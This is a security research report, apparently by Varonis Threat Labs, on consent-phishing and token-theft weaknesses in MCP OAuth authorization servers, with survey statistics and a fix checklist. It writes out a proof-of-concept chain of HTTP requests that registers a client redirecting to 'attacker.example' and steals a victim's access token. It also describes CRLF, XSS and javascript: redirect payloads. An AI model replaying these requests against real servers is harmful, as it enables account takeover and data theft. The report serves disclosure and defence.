Key findings
61%
of MCP authorization servers had at least one exploitable security gap
8%
of servers combined missing PKCE with a hijackable redirect — one click, one working access token
81%
of consent pages disclosed zero permissions before approval
29%
of servers honored MCP tokens at full API privilege, up to 22 scopes beyond what was granted
88%
of consent pages had no protection against clickjacking
The trust gap
AI agents are only useful when they can reach your data. Model Context Protocol (MCP) is the standard way they ask for that permission, and very little stands between the request and approval.
Varonis Threat Labs tested that assumption across 1,034 production MCP authorization servers in widely used SaaS products. We found an ecosystem-wide pattern where an unverified client can walk straight into a trusted OAuth flow and leave with a working access token, no password required.
By design, a single POST request is enough to register an OAuth client against a production MCP server, complete with its own name, redirect URI, and requested scopes.
That's the Trustfall.
Seconds later, that client can generate a consent link on the vendor’s own domain. If a signed-in user clicks Allow, the server issues a working access token to whoever controls the newly registered client. This flow was built for trusted agents, but nothing prevents an attacker from using it exactly as is. The consent page is meant to keep the human in the loop by making that request clear before anyone approves it, but it's not doing the job.
While updates to the DCR protocol have been announced, it will remain active until July 2027, as well as the risks. There is no universal fix or easy button for practitioners during this period.
Continue reading to discover how legitimate and malicious MCP flows work, where consent clarity breaks down, and what security and IT teams can do about it.
Why MCP grants trust so easily
Four pieces combine to create the problem; each step seems reasonable on its own. Together, they create the Trustfall.
1
When an agent connects to a calendar, codebase, or SaaS data, MCP is the standard to request access. It is the connective tissue between AI agents and the outside world.
2
Before the agent can act, you see a screen that says, "This app wants to see your calendar, allow or deny?" That approval is the trust boundary, the one moment where a person is meant to verify what is being granted and to whom.
3
Instead of a human registering every new agent in a developer console, DCR removed that step. A client registers automatically, in seconds, by calling the/register endpoint. It instantly receives a client_id. It could then immediately start an OAuth flow.
Human
AI app
Service
Consent page
App | Permissions | Redirect
1
Connect to a service
2
Introduce the app
3
Request consent
4
Approve or deny
5
Grant approved access
How an AI app gets permission to act
Figure 1: An AI app introduces itself to a service, which asks the user to approve or deny access. The consent page is where the user should see who is asking and what permissions they would grant.
4
After registering the app, the attacker can build an authorization link using the service’s real MCP domain:
https://mcp.<real-service-domain>/authorize?...&redirect_uri=<registered-callback>
To the victim, the link starts with mcp. followed by a familiar service domain. It appears to be an official MCP connection, which can easily lure victims into clicking it. Clicking opens the service’s real authorization page rather than a copied login page.
The catch is what happens after you click "allow." The redirect_uri points to the callback registered by the attacker. If the victim approves the request, the authorization code is sent to the callback URL, allowing the attacker’s app to complete the OAuth flow.
The application can now be created seconds before the user clicks the link, by anyone, with self-asserted details. The name, the logo, and the requested permissions are all attacker-controllable, and the spec is explicit that the server must not assume otherwise.

The attack flow
In our proof of concept, we demonstrated the full attack chain:
Register a client and deliver the link
The threat actor calls /register on the target MCP authorization server with an attacker-controlled client name, redirect URI, and requested scopes, builds a standard OAuth authorization URL around the returned client_id, and sends it to the victim by email or chat. The URL points to the vendor’s own domain.
In weaker implementations, additional vulnerabilities compound the risk. Missing PKCE allows authorization of code interception, loose redirect URI validation allows code redirection to attacker-controlled endpoints, and XSS in consent pages through unsensitized client metadata can automate approval.
The malicious flow is byte-for-byte the legitimate one. The only difference is who chose the values. Here is what the attacker sends, and what the server sends back.
Malicious DCR attack flow example
Two requests, with attacker-controlled values and a victim-facing authorization link.
1
POST /register HTTP/1.1
Content-Type: application/json
{
"client_name": "Internal IT - required",
"redirect_uris": ["https://attacker.example/callback"],
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"token_endpoint_auth_method": "none",
"scope": "openid profile offline_access files.read"
}
HTTP/1.1 201 Created
Content-Type: application/json
{
"client_id": "dyn_evil789",
"client_id_issued_at": 1717238400,
"redirect_uris": ["https://attacker.example/callback"],
"scope": "openid profile offline_access files.read"
}
2
GET /authorize?response_type=code&client_id=dyn_evil789&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&scope=openid%20profile%20offline_access%20files.read&state=attack123&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256 HTTP/1.1
3
HTTP/1.1 302 Found
Location: https://attacker.example/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=attack123
4
POST /token HTTP/1.1
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&client_id=dyn_evil789&code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
HTTP/1.1 200 OK
Content-Type: application/json
{
"access_token": "eyJhbGciOi...",
"refresh_token": "def50200...",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid profile offline_access files.read"
}
5
GET /api/files HTTP/1.1
Authorization: Bearer eyJhbGciOi...
HTTP/1.1 200 OK
Content-Type: application/json
{
"items": [
{
"id": "file_123",
"name": "Q4-board-update.pdf",
"owner": "victim@example.com"
}
]
}
The consent page vs. the RFC
The RFCs are explicit about what the consent screen owes the user:
- RFC 6749 section 10.2 tells authorization servers not to let one client masquerade as another in the UI.
- RFC 7591 section 5 instructs servers to treat dynamically-registered client metadata as untrusted and to communicate that lack of verification to the user.
- The OAuth 2.0 Security BCP (RFC 9700, January 2025) hardens both with concrete UI requirements. We tested every part of that screen, finding that the consent screen is not holding up.
0
20
40
60
80
100
No “unverified app” warning
98%
(128/131)
No clickjacking protection
88%
(116/131)
No visible deny / cancel path
79%
(104/131)
Broader scope than registered
60%
(78/131)
Extra credential field on page
37%
(48/131)
Vendor-brand hijack in copy
34%
(45/131)
Parent-IdP scope leak
27%
(35/131)
Share of probed consent pages (%)
Consent-page failures observed in the browser
Browser probe of 131 live consent pages — every bar is a defect.
81%
Scope opacity = the dominant failure
81% of consent pages render permission scopes. The user approves “access,” but the page does not say to what.
Eight out of ten MCP consent screens list no permissions at all.
98%
Missing unverified-app warnings
98% of probed consent pages lacked user warnings that the client is dynamically registered and unverified, which is required under RFC 7591 section 5. No “unverified app” banner, no “third-party” label, and no “be careful” signal.
79%
No visible deny path
79% of consent pages had no visible Deny, Cancel, or Reject button. The user’s only refusal path is to close the tab, which, during a pop-up flow OAuth handshake, leaves the agent re-prompting. Users default to clicking Allow just to dismiss the dialog.
31%
Client identity buried or absent
Only 31% render the registered client_name anywhere in the consent body, and only 8% place it in a heading.
The largest text on the card is reserved for the vendor’s own hardcoded brand, “Sign in to [Vendor].” An attacker’s chosen name (client_name="GitHub Copilot", client_name="Internal IT - required") appears in a small-print line that reads as an integration label rather than the requesting party.
34%
Vendor brand hijack
34% of probed consent pages hardcode the vendor’s own brand into the body copy, “Sign in to allow [BRAND] to access your account,” where [BRAND] is the vendor, not the registered client. The user reads a statement asserting they are granting access to the vendor, when in fact they are granting a token to whoever holds the DCR client_id.
!
Silent consent — no UI at all
On a small number of servers, the consent screen never renders. The user visits the authorized URL once, already logged in, and the server 302s directly to the redirect URI with a valid authorization code. The user sees no warning, scope list, or Allow button. There is literally no user action other than the click between registration and token.



Figure 4: Real-world consent screens redacted
37%
Credential harvesting on consent pages
37% of probed consent pages embed an additional required input field — an API key, a personal access token, a workspace ID, a webhook URL. On submit, both the authorization grant and the pasted credential land at the attacker-registered redirect URI. The user thinks they are configuring an integration, yet they are wiring their own credential into the attacker’s lure.
60%
Scope force-upgrade
We registered a DCR client with an empty scope parameter, then read the granted permissions. 60% of probed servers displayed or granted a broader scope than registered for. What the client registered for and what the user ultimately grants are different sets, and the page does not call attention to the difference.
27%
Parent-IdP scope leak
When an MCP server federates authentication to a parent identity provider, the consent screen the user sees is rendered at the parent, not at the MCP child. On 27% of probed servers, the parent-IdP consent listed scopes exceeding what the MCP child registered for: drive read/write, mailbox send, calendar full control. The user trusts the parent brand and approves all.
Protocol-layer vulnerabilities
This section details MCP/OAuth-specific defects, which are gaps in how the authorization server enforces the protocol’s own security requirements.
0
100
200
300
400
500
Protocol-layer vulnerabilities across MCP servers
Tested across 1,034 production MCP authorization servers
javascript: accepted as
redirect URI
47%
(481)
Shared issuer / cross-product token replay
29%
(298)
CRLF injection in registration response
19%
(196)
PKCE not enforced
12%
(122)
PKCE missing + javascript: together
8%
(87)
XSS on the consent page
7%
(75)
Servers affected (of 1,034)
PKCE not enforced
We sent an /authorize request with no code_challenge and no code_challenge_method. 12% of servers returned 200, rendered a consent page, and issued an authorization code on Allow. The code exchanged at /token with no code_verifier.
What an attacker gains: PKCE is the protection that turns an authorization code from a bearer secret into something only usable by the client that initiated the flow. Without it, a code that leaks anywhere, such as a query string in a server log, browser history, referrer header, an SSRF, or an open redirect, becomes a full access token. The leak channels are abundant; PKCE is the only thing standing between a leak and full account takeover.
JavaScript accepted as redirect URI
We posted to /register with a JavaScript: URI as redirect. 47% of servers returned HTTP 201 and stored it. RFC 6749 section 3.1.2 requires an absolute URI, JavaScript is a pseudo-protocol.
What an attacker gains: Modern desktop browsers refuse to navigate to JavaScript from a 302, which mitigates the solo case. But MCP is consumed primarily by agent clients, that is, HTTP-only clients and embedded web views with their own policies. The CRLF chain below bypasses the browser block by smuggling JavaScript into a location header. The consumer is software, not Chrome.
PKCE missing and JavaScript accepted together
On 8% of the servers, the full chain fires as follows: register with the JavaScript redirect -> send the victim one authorize link -> Victim clicks Allow -> The code lands at the attacker-chosen destination, redeemable without a code_verifier -> One registration, one link, one click, and a working access token.
What an attacker gains: Account takeover with no credential theft and no malware. Either gap alone still leaves the attacker a problem to solve; together they cancel out. The code lands where the attacker chose, and anyone holding it can redeem it. The result is an access token, usually with a refresh token for persistence, and nothing in the victim’s account looks wrong except for a connected app they would have to look for.
Shared OAuth issuer / cross-product token replay
We compared each MCP endpoint’s OAuth issuer against its vendor’s main product and against sibling MCP services. 273 endpoints share their issuer with the vendor’s primary API, and 62 across 25 clusters share with sibling MCPs — 29% combined. None emit tokens with an aud claim.
What an attacker gains: A token minted on the MCP consent surface, consented with one narrow scope, is structurally indistinguishable from a token minted on the vendor’s primary API.
The attacker presents the same bearer token to the parent product’s API, which validates only iss and signature, granting its broader scope set. The median parent advertises three additional scopes the MCP doesn’t. The maximum observed was 22 including admin/write/delete, manage_runner, k8s_proxy, backup:write, backup:delete, and webhook:manage.
No exploit chain required, just a legitimate token honored by a surface it was not minted for.
Classic web vulnerabilities
These are well-known vulnerability classes — CRLF, XSS, clickjacking — that appear on the consent surface that guards against OAuth token issuance.
CRLF injection in registration response
We registered with a redirect_uri containing a literal \r\n. 19% of servers (196 of 1,034) reflected attacker-controlled HTTP headers from the registration response. A more aggressive variant, injecting location and JavaScript:void(0) succeeded on 70 of those 196.
What an attacker gains: Forced redirect to JavaScript via the injected header, bypassing the browser-level navigation block. Cache poisoning, where edge caches store the forged response. WAF and proxy bypass through header smuggling.
XSS on the consent page
Across four reflection vectors, 75 distinct servers reflect attacker-controlled HTML or script into the consent DOM:
- Unescaped client_name: The server stored a literal <img onerror=…> tag and rendered it live on the consent page. It fires on page load, with no click required.
- State parameter reflected unescaped: Payload delivered through the state= query parameter.
- Scope parameter reflected unescaped: The same issue, through scope=.
- JavaScript URI rendered as <a href>: DCR fields client_uri, tos_uri, and policy_uri rendered as clickable links that execute attacker code.
What an attacker gains: Each vector steals the authorization code that the consent page is about to issue. The script runs in the vendor’s origin — access to session cookies, CSRF tokens, localStorage.
Clickjacking
88% of consent pages had no X-Frame-Options and no frame-ancestors CSP. The attacker hosts a transparent overlay, the victim clicks what they think is a button. On the attacker’s site, the click lands on Allow.
What an attacker gains: Automated consent approval without the user reading anything. One HTTP header closes this — the highest fix-cost-to-impact ratio across the entire dataset.
The chain: 61% of MCP servers analyzed carry at least one vulnerability.
Any single MCP gap weakens the flow. When multiple gaps appear together, they form a reliable path from one POST to /register and one link to a working access token with persistent refresh capability.
The blast radius depends on the product, but the security failure does not. An unverified client enters a trusted OAuth flow and leaves with access the user never understood, and the server never constrained.
Checklist: How to fix MCP gaps
For MCP authorization server operators
If you operate an MCP authorization server, you can test these controls today:
Require PKCE with S256 for all public clients. Do not make it optional.
Enforce exact redirect URI matching. Allow only safe URI schemes (https:). Reject JavaScript, data, and wildcard patterns.
Bind every token to an audience. Issue MCP tokens with an aud claim naming the MCP resource and validate aud at every API, not just iss and signature. If the MCP service shares an issuer with your primary API or with sibling MCPs, that check is the only safeguard stopping a narrowly consented MCP token from being replayed for the parent product’s full scope set.
Sanitize all DCR metadata. Reject CRLF and control characters. HTML-encode client names, logos, and URLs before rendering.
Label unverified clients. The consent page must clearly distinguish a dynamically registered client from a verified or first-party application.
Render scopes in plain language. Show the user what they are granting before they approve.
Provide a visible deny path. Every consent page needs a clear cancel or deny option.
Prevent clickjacking. Set Content-Security-Policy: frame-ancestors 'none' on authorization endpoints.
Do not ask for secrets in consent flows. OAuth consent pages should never request API keys, personal access tokens, or passwords.
Monitor DCR activity. Log and alert on unusual registration patterns and consent grants.
Fetch client metadata documents safely. If you support CIMD, the document fetch is an outbound request to a URL a stranger chose. Block internal and link-local addresses, cap redirects, size, and timeout, and never follow the fetch into your own network.
Match the client_id to its document exactly. The identifier inside the metadata document must equal the URL it was fetched from, character for character, and the redirect URI must already be listed there. No normalization shortcuts, no prefix matching.
For the MCP and OAuth ecosystem
Individual vendor fixes are necessary, but not sufficient. The ecosystem should change defaults:
- MCP authorization guidance should treat dynamically registered clients as unverified by default and require explicit trust elevation.
- Consent UI requirements should be explicit in the spec, not implied. What the user must see before approval should be defined, not left to each implementation.
- PKCE must be mandatory and validated by conformance tooling.
- CIMD should come with an explicit domain trust policy (allowlists, denylists, and rate limits keyed on the client_id domain) so that operators can act on client identity instead of treating every unknown client the same.
- MCP clients should warn users when they are about to authorize a newly registered or unverified application.
CIMD: Where MCP is heading
The standard is already correcting course. The MCP spec’s 2026-07-28 revision deprecates Dynamic Client Registration and points implementers at Client ID Metadata Documents (CIMD).
DCR and CIMD both solve the same problem, giving a client the server has never met a client_id. They just solve it in opposite directions.
DCR asks the server to write
An anonymous stranger POSTs a blob of self-asserted JSON, and the server parses it, stores it, and later renders it back to a user on its own domain. Every number in this report traces back to that single decision:
- Attacker-chosen text lands in the DOM. That is why 75 servers reflected attacker-controlled HTML through client_name and the other DCR fields.
- Attacker-chosen bytes go into a response header. That is why 196 servers could be made to emit forged headers through a redirect_uri carrying a literal \r\n.
- Attacker-chosen destinations get stored without validation. That is why 47% accepted a javascript: pseudo-protocol as a redirect URI and returned 201.
And because registration is free, anonymous, and unlimited, nothing about the resulting client_id ties back to anyone. The consent page ends up holding a decision it was never given the evidence to make.
CIMD asks the server to read
The client hosts a JSON document at an HTTPS URL it controls. That URL is the client_id. The authorization server fetches the document the first time it sees the identifier, verifies that the client_id inside matches the URL exactly, checks the requested redirect URI against the list in the document, and caches the result. There is no registration endpoint, no write path, and no stored record to poison.
On a CIMD server, the same attacker publishes this instead of POSTing it:
GET /mcp-client.json HTTP/1.1
Host: attacker.example
{
"client_id": "https://attacker.example/mcp-client.json",
"client_name": "Internal IT - required",
"redirect_uris": ["https://attacker.example/callback"],
"grant_types": ["authorization_code", "refresh_token"],
"token_endpoint_auth_method": "none"
}
GET /authorize?response_type=code&client_id=https%3A%2F%2Fattacker.example%2Fmcp-client.json&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&scope=openid%20profile%20offline_access%20files.read&state=attack123 HTTP/1.1
Note what survives and what does not. The name is still whatever the attacker typed. But the client_id is now a URL the victim's server resolves, the redirect has to live on that same host, and the whole thing is attributable to a domain someone had to register.
That inversion retires entire vulnerability classes rather than patching them on a per-server basis. Removing /register removes the CRLF injection sink and the unbounded registration table behind it. Requiring the redirect URI to already appear in a document served from the client's own origin means an attacker can no longer point a legitimate vendor's flow at attacker.example, or at a javascript: URI, unless they own the domain the user is being shown.
The identifier stops being an opaque string like dyn_evil789 and becomes a name with an owner. Defenders can allowlist, denylist, rate-limit, and revoke by domain, and abuse now burns a registered domain instead of costing an attacker one HTTP request.
That is the argument for moving early. Servers that adopt CIMD do not have to get sanitization, storage hygiene, and redirect validation right on every one of those fields — they simply no longer accept them.
Adopting CIMD closes one half of the Trustfall and leaves the other half exactly where it was.
The consent page is still the trust boundary, and CIMD doesn’t change what it shows. There are still no scopes rendered, unverified-app warning, deny path, or vendor brand in the body copy. CIMD also hands the authorization server a new outbound fetch to a URL a stranger controls, which is why the draft added explicit SSRF protections in its second revision.
How we got here
Jul 2015
DCR ships as RFC 7591. A full standard.
Mar 2025
MCP spec makes DCR the primary registration method.
Oct 2025
The OAuth working group adopts CIMD as draft-ietf-oauth-client-id-metadata-document-00, published.
NOV 2025
MCP spec adds CIMD as a SHOULD and downgrades DCR to a MAY.
MAR 2026
CIMD draft-01 adds SSRF protections for the metadata fetch.
JUL 2026
CIMD draft-02 lands, and MCP spec deprecates DCR under a minimum 12-month compatibility window.
sep 2026
CIMD is still an Internet-Draft. It expires January 7, 2027 and carries no RFC number.
What to implement, in order
1
Pre-registered credentials, if the client already has them for that server.
2
CIMD, when the authorization server advertises client_id_metadata_document_supported as true.
3
DCR, only if the server offers nothing but a registration_endpoint.
Here’s the catch: CIMD is what everyone is moving to, but it isn't a ratified standard yet. DCR is deprecated, yet remains the only real RFC. So, you should support both for now. The deprecation window means that DCR-only servers will remain active until roughly July 2027. Every finding in this report applies to them for the entire window.
The bottom line
MCP used DCR to solve an important problem. AI agents need to connect fast, and manual app registration does not scale. But it moved the trust decision away from a developer portal and onto a consent page that was never strong enough to carry it.
CIMD is the right fix, and the spec agrees, but it does not resolve the problem.
These servers will keep answering /register until roughly July 2027, and CIMD only closes half the problem. It removes the write path, but a domain is still a weak identity claim, and the client name, logo, and scopes are still whatever the requester says they are. Every consent page failure we measured survives the move.
The attack remains undetected because the URL belongs to the vendor, the domain is trusted, and the consent screen appears normal. What is missing is real verification of who’s asking for access. In 61% of the MCP endpoints we tested, that verification was incomplete or absent.
None of this needs new technology, just better defaults. Move to CIMD where you can. Until then, enforce PKCE, restrict redirect URIs, label unverified clients, and show users what they’re approving. And fix the consent page itself, because that’s the half CIMD won’t fix for you. Left as they are, open DCR will remain a reliable path from consent to compromise.
Varonis Threat Labs will continue to investigate MCP as it evolves. Learn more about the team and Varonis with the links below.
Learn more
Varonis Threat Labs
Varonis Threat Labs (VTL) is our team of threat hunters and security researchers who uncover how real‑world attackers target data across every industry and environment. Their discoveries give CISOs and security practitioners clear, practical guidance to reduce blast radius, secure sensitive data, and stop emerging threats before they cause damage.
Varonis Atlas
Varonis Atlas is the complete AI security platform for securing everything you build and run with AI, including the agents, copilots, and connections this report covers. It continuously monitors AI activity, locks down excessive access, and stops AI-driven threats across the entire AI data lifecycle.
Varonis MDDR
Protect your business from material data breaches with 24x7x365 incident response and alert monitoring from Varonis data security experts through our Managed Data Detection and Response (MDDR) service.

